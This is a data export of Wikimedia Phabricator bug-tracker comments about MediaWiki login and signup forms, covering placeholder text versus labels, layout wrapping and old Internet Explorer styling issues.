+~~[[ https://patchdemo.wmflabs.org/wikis/d40ca84da9/w/ ]]~~",,,1713878496,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-ah7jdxmoh7ort2lyc33r,task_subcomment,,True,c2,3,False,,,555,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+2177675,Remove placeholder text or labels from login form (Special:UserLogin) inputs,"Change 933621 **merged** by jenkins-bot:
+%%%[mediawiki/core@master] Login page: Show input labels on mobile devices%%%
+https://gerrit.wikimedia.org/r/933621",,,1692384664,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ah7jdxmoh7ort2lyc33r,task_subcomment,,True,c2,3,False,,,520,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+2175921,Remove placeholder text or labels from login form (Special:UserLogin) inputs,"Test wiki **created** on [[ https://patchdemo.wmflabs.org | Patch demo ]] by Krinkle using patch(es) linked to this task:
+[[ https://patchdemo.wmflabs.org/wikis/d40ca84da9/w ]]",,,1692155106,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-ah7jdxmoh7ort2lyc33r,task_subcomment,,True,c2,3,False,,,520,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+2175919,Remove placeholder text or labels from login form (Special:UserLogin) inputs,"Change 933621 had a related patch set uploaded (by Krinkle; author: Jdlrobson):
+%%%[mediawiki/core@master] resources/src/mediawiki.special.userlogin.common.styles/userlogin.less: Show input labels on mobile devices%%%
+https://gerrit.wikimedia.org/r/933621",,,1692154789,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ah7jdxmoh7ort2lyc33r,task_subcomment,,True,c2,3,False,,,520,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1226992,Remove placeholder text or labels from login form (Special:UserLogin) inputs,"@Puneethchanda: I am resetting the assignee of this task because there has not been progress lately (please correct me if I am wrong!). 
+Resetting the assignee avoids the impression that somebody is already working on this task. It also allows others to potentially work towards fixing this task. 
+Please claim this task again when you plan to work on it (via {nav name=Add Action... > Assign / Claim} in the dropdown menu) - it would be welcome! Thanks for your understanding!",,,1550389608,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ah7jdxmoh7ort2lyc33r,task_subcomment,,True,c2,3,True,,,285,True,0,1,0,0,1,1,1,1,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,0,1,1,0,0,1
+1196652,Remove placeholder text or labels from login form (Special:UserLogin) inputs,"@Puneethchanda: Hi! As you claimed this task, how is it going? [Do you need any help](https://www.mediawiki.org/wiki/How_to_become_a_MediaWiki_hacker#Feedback,_questions_and_support)?",,,1544831110,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ah7jdxmoh7ort2lyc33r,task_subcomment,,True,c2,3,True,,,276,True,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,1,1,0,0,1,0,1,1,0,1,1,1,1,0,0,1,0,0,1
+234154,Remove placeholder text or labels from login form (Special:UserLogin) inputs,"(In reply to comment #5)
+> Would someone care to explain why ""redundant"" is inherently a bad thing.
+
+I'm not sure anyone suggested it was inherently bad, but it seems unnecessary here.
+
+Do other sites use both an input label and placeholder text for their login form?",,,1381616098,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ah7jdxmoh7ort2lyc33r,task_subcomment,,True,c2,3,True,,,6,True,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1,1,0,1,0,1,1,0,0,0,0,1
+234147,Remove placeholder text or labels from login form (Special:UserLogin) inputs,"(In reply to comment #5)
+> Would someone care to explain why ""redundant"" is inherently a bad thing.
+
+It looks bad, it can potentially insult or worse yet, confuse users (instruction overload is a real thing), and it's more to translate.
+
+It is also, in this case, utterly unnecessary.
+
+> Visual redundancy like this isn't entirely uncommon or bad. Sometimes the
+> repetition with slight variance can subtly make something easier to
+> understand.
+
+Common isn't necessarily a good thing or a bad thing - it's just a norm. For more complex things you might be right about different explanations helping users to understand, but a login form is far from complex.
+
+And consider this - if someone honestly cannot figure out the login form for any reason besides a real bug, do we even want them? Picture them trying to figure out the edit or upload forms, let alone even more complex issues such as copyright, behavioural guidelines, content policy...
+
+> The ""redundant is bad"" sentiment here looks like a common mistake of
+> developers
+> thinking something is bad based on some form of logic which doesn't
+> necessarily
+> always match up with reality.
+
+First you say it's common to be redundant and then it's common to consider redundancy bad. I'd say to make up your mind, but I'm not sure it's all that important either way - the specific use case we're worrying about should be far more relevant than what is common in general. 
+
+This also might explain why both things might be common - the correct approach depends on what you're doing, not on what everyone else is doing.",,,1381591531,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-ah7jdxmoh7ort2lyc33r,task_subcomment,,True,c2,3,False,,,6,True,1,1,1,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+234140,Remove placeholder text or labels from login form (Special:UserLogin) inputs,"Would someone care to explain why ""redundant"" is inherently a bad thing.
+
+Visual redundancy like this isn't entirely uncommon or bad. Sometimes the repetition with slight variance can subtly make something easier to understand.
+The ""redundant is bad"" sentiment here looks like a common mistake of developers thinking something is bad based on some form of logic which doesn't necessarily always match up with reality.",,,1381564369,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-ah7jdxmoh7ort2lyc33r,task_subcomment,,True,c2,3,False,,,6,True,1,1,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,0,0
+234132,Remove placeholder text or labels from login form (Special:UserLogin) inputs,"Which parts of the usability studies looked at the use of placeholder text?  I cant see it on mediawiki.org 
+http://www.mediawiki.org/w/index.php?search=%22enter+your+username%22&title=Special%3ASearch
+What type of testing was done, and how significant was the benefit of adding placeholder texts.
+
+I am surprised that usability studies would recommend ""Enter your username"" for type=signup??  IMO that is a bug (Bug 52974).",,,1376790211,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ah7jdxmoh7ort2lyc33r,task_subcomment,,True,c2,2,True,,,-2,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0
+234123,Remove placeholder text or labels from login form (Special:UserLogin) inputs,"For what it's worth, Twitter seems to use only placeholders: <https://twitter.com/login>.
+
+But I agree with everything Isarra said. The browser support doesn't seem to be what we want it to be and the fix here (simply removing the placeholders) seems really cheap and easy to implement.",,,1370054245,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ah7jdxmoh7ort2lyc33r,task_subcomment,,True,c2,1,True,,,-13,True,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+234116,Remove placeholder text or labels from login form (Special:UserLogin) inputs,"Given that placeholders are both unreliable and also go away when the user enters something (despite often still being relevant and/or useful), removing the labels in favour of those isn't really a good idea.
+
+And since the placeholders are completely redundant with the labels here, I would say that yes, the placeholders should indeed be removed from the login form.",,,1370049408,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-ah7jdxmoh7ort2lyc33r,task_subcomment,,True,c2,1,False,,,-13,True,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+234108,Remove placeholder text or labels from login form (Special:UserLogin) inputs,"**swalling** wrote:
+
+(In reply to comment #0)
+> The placeholder text at <https://en.wikipedia.org/wiki/Special:UserLogin>
+> should be removed.
+> 
+> ""Enter your username"" and ""Enter your password"" is unnecessary and possibly
+> insulting to the user (it can be read as condescending). 
+
+The usability tests we've run to date (http://www.mediawiki.org/wiki/Account_creation_user_experience/User_testing) don't support this assumption. I agree we could make this language friendlier (e.g. Choose a username or something else less commanding), but so far the people actually needing to use this interface seem to read and appreciate the placeholder text more than the labels. 
+
+> Looking at other
+> sites, it seems the practice of using both a placeholder and a label is
+> uncommon for fields of this nature.
+
+Yes, ideally we should just pick one. 
+
+Placeholder text is so far our preferred choice based on usability tests and consultation with the design team. It would free up a lot of vertical space in the forms, among other benefits. 
+
+The only thing holding us back from removing the labels entirely is cross-browser support, which frankly really sucks in most older browsers. (See examples like bug 48918).",,,1370028467,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ah7jdxmoh7ort2lyc33r,task_subcomment,,True,c2,1,False,,,-13,True,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1
+50887,[New UserLogin] Bad wrapping of signup stats on non-wide screens,"Signup on TWN
+
+See screenshot.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: trivial
+**URL**: http://dev.translatewiki.net/w/i.php?title=Special:UserLogin&type=signup
+
+**Attached**: {F10844}",Low,25.0,1369737060,1644062641.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-7kukyohnm6cpgj7lbdcc,task_description,invalid,True,c2,1,True,False,False,-14,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+1858839,[New UserLogin] Bad wrapping of signup stats on non-wide screens,"https://translatewiki.net/wiki/Special:CreateAccount does not exist anymore (only available for admins); cannot reproduce on Vector.
+I fail to reproduce on https://www.mediawiki.org/w/index.php?title=Special:CreateAccount
+Assuming this isn't an issue anymore but please reopen (and mention the skin) if you can still reproduce somewhere.",,,1644062641,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-7kukyohnm6cpgj7lbdcc,task_subcomment,,True,c2,3,True,,,440,True,0,0,0,0,1,1,1,0,0,1,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+225748,[New UserLogin] Bad wrapping of signup stats on non-wide screens,Cannot reproduce either with Firefox 18 and Firefox 21 on Fedora on http://dev.translatewiki.net/w/i.php?title=Special:UserLogin&type=signup for 1024x768 and not being logged in.,,,1369819152,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-7kukyohnm6cpgj7lbdcc,task_subcomment,,True,c2,1,True,,,-13,True,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+225744,[New UserLogin] Bad wrapping of signup stats on non-wide screens,"Created attachment 12410
+Signup on TWN production
+
+Production has 5d5a8ac rather than a1c444f but is the same for me on Vector, while monobook is ok. 
+https://translatewiki.net/w/i.php?title=Special:UserLogin&type=signup&useNew=1&useskin=vector
+
+**Attached**: {F10847}",,,1369778120,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-7kukyohnm6cpgj7lbdcc,task_subcomment,,True,c2,1,True,,,-14,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0
+225741,[New UserLogin] Bad wrapping of signup stats on non-wide screens,"**swalling** wrote:
+
+(In reply to comment #3)
+> I still can't replicate this on Ubuntu with FF 17 or in a Linux VM with FF
+> 21.
+> Bizarre.
+
+To clarify: I tested this on enwiki and translatewiki.net. I think the issue might be something specific to dev.translatewiki.net",,,1369777267,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7kukyohnm6cpgj7lbdcc,task_subcomment,,True,c2,1,False,,,-14,True,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+225737,[New UserLogin] Bad wrapping of signup stats on non-wide screens,"**swalling** wrote:
+
+FF 17 on Ubuntu
+
+**Attached**: {F10846}",,,1369777106,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7kukyohnm6cpgj7lbdcc,task_subcomment,,True,c2,1,False,,,-14,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+225735,[New UserLogin] Bad wrapping of signup stats on non-wide screens,"**swalling** wrote:
+
+FF 21 in a VM
+
+**Attached**: {F10845}",,,1369777088,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7kukyohnm6cpgj7lbdcc,task_subcomment,,True,c2,1,False,,,-14,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+225732,[New UserLogin] Bad wrapping of signup stats on non-wide screens,"**swalling** wrote:
+
+I still can't replicate this on Ubuntu with FF 17 or in a Linux VM with FF 21. Bizarre.",,,1369777066,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7kukyohnm6cpgj7lbdcc,task_subcomment,,True,c2,1,False,,,-14,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+225730,[New UserLogin] Bad wrapping of signup stats on non-wide screens,"Firefox 21.0 on Linux, 1024x768px. 
+Indeed, on Chromium the stats move below the form, which is (or was at some point) the expected behaviour.",,,1369773966,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-7kukyohnm6cpgj7lbdcc,task_subcomment,,True,c2,1,True,,,-14,True,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+225728,[New UserLogin] Bad wrapping of signup stats on non-wide screens,"**swalling** wrote:
+
+I cannot replicate this bug in Chrome, Safari, or FF on OSX. Can you give me your browser dimensions and version? I think it may be specific to whatever you're using.",,,1369768158,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7kukyohnm6cpgj7lbdcc,task_subcomment,,True,c2,1,False,,,-14,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,1,1,0,0,0
+50303,IE7/IE6 RL error on login pages for jquery.NavigationTiming,"Seen at 
+http://commons.wikimedia.beta.wmflabs.org/wiki/Special:UserLogin/signup  at least after navigating to Special:CreateAccount
+
+The browser test for creating an account has a function that checks for Resource Loader errors:  https://github.com/wikimedia/qa-browsertests/blob/master/features/step_definitions/create_account_steps.rb
+
+That function is returning an error ""Error modules: jquery.NavigationTiming."" for IE7 and IE6.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=48309",Low,25.0,1368123000,1368154468.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-s3wm3nduhhjvf64a2qgl,task_description,invalid,True,c2,1,False,False,True,-16,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,1,1,0,1,0,1,1
+215294,IE7/IE6 RL error on login pages for jquery.NavigationTiming,"This extension was totally rewritten in March. There is no 'jquery.NavigationTiming' module, and the current JavaScript code base does not share so much as a single line with the version running on the beta cluster. The version that did have 'jquery.NavigationTiming' was broken in several ways, any one of which could have caused this. Marking as 'invalid', as this bug is epiphenomenal to bug 48309 but not a duplicate of it.",,,1368154468,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-s3wm3nduhhjvf64a2qgl,task_subcomment,,True,c2,1,False,,,-16,True,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+215290,IE7/IE6 RL error on login pages for jquery.NavigationTiming,"(In reply to comment #3)
+> due to bug 48309.  I'll look at this again when that is resolved.
+
+==> adding dependency on bug 48309",,,1368150002,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-s3wm3nduhhjvf64a2qgl,task_subcomment,,True,c2,1,True,,,-16,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,1
+215285,IE7/IE6 RL error on login pages for jquery.NavigationTiming,It's running an ancient version (the first added to extensions.git) due to bug 48309.  I'll look at this again when that is resolved.,,,1368137875,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-s3wm3nduhhjvf64a2qgl,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,1
+215277,IE7/IE6 RL error on login pages for jquery.NavigationTiming,"Note, GettingStarted does not control the login or signup pages themselves.  It affects Special:GettingStarted and the post-signup screen, and sometimes UI on later pages (e.g. an article it encourages you to work on).
+
+This looks like a possible bug in NavigationTiming.",,,1368132259,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-s3wm3nduhhjvf64a2qgl,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0
+215270,IE7/IE6 RL error on login pages for jquery.NavigationTiming,"**swalling** wrote:
+
+(In reply to comment #0)
+> 
+> That function is returning an error ""Error modules: jquery.NavigationTiming.""
+> for IE7 and IE6.
+
+Related to https://meta.wikimedia.org/wiki/Schema:NavigationTiming ?",,,1368126551,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-s3wm3nduhhjvf64a2qgl,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,1,1,0,0,1,0,1,0,1,0,0,1
+50189,"[New form] Minor whitespace issues in IE7, for login and account create account","**Author:** `swalling`
+
+**Description:**
+Create account
+
+See attached screenshots for minor spacing/whitespace issues.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F10342}",Low,25.0,1367884500,1570150516.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-uvgtcezs5ntdn4gsg75f,task_description,declined,True,c2,1,False,False,False,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+1364761,"[New form] Minor whitespace issues in IE7, for login and account create account",Declining per T232563.,,,1570150516,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-uvgtcezs5ntdn4gsg75f,task_subcomment,,True,c2,3,True,,,318,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+208802,"[New form] Minor whitespace issues in IE7, for login and account create account","**swalling** wrote:
+
+%%%*** Bug 48759 has been marked as a duplicate of this bug. ***%%%",,,1369359560,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uvgtcezs5ntdn4gsg75f,task_subcomment,,True,c2,1,False,,,-14,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0
+208794,"[New form] Minor whitespace issues in IE7, for login and account create account","**swalling** wrote:
+
+As a reminder: IE7 is Grade B compatibility (http://www.mediawiki.org/wiki/Compatibility#Browser), meaning very low usage levels, so a fix would be nice, but is not a blocker per se.",,,1367884613,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uvgtcezs5ntdn4gsg75f,task_subcomment,,True,c2,1,False,,,-17,True,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+208788,"[New form] Minor whitespace issues in IE7, for login and account create account","**swalling** wrote:
+
+IE7, login
+
+**Attached**: {F10343}",,,1367884536,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uvgtcezs5ntdn4gsg75f,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+50188,[New form] Login and signup form styles borked in IE6,"**Author:** `swalling`
+
+**Description:**
+Login in IE6
+
+Completely bonkers. 
+
+IE6 is less than 1% of our user base, and is Grade B for compatibility (http://www.mediawiki.org/wiki/Compatibility#Browser) but this is pretty bad. We should take a hack at it unless it would require completely rewriting the CSS etc.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+
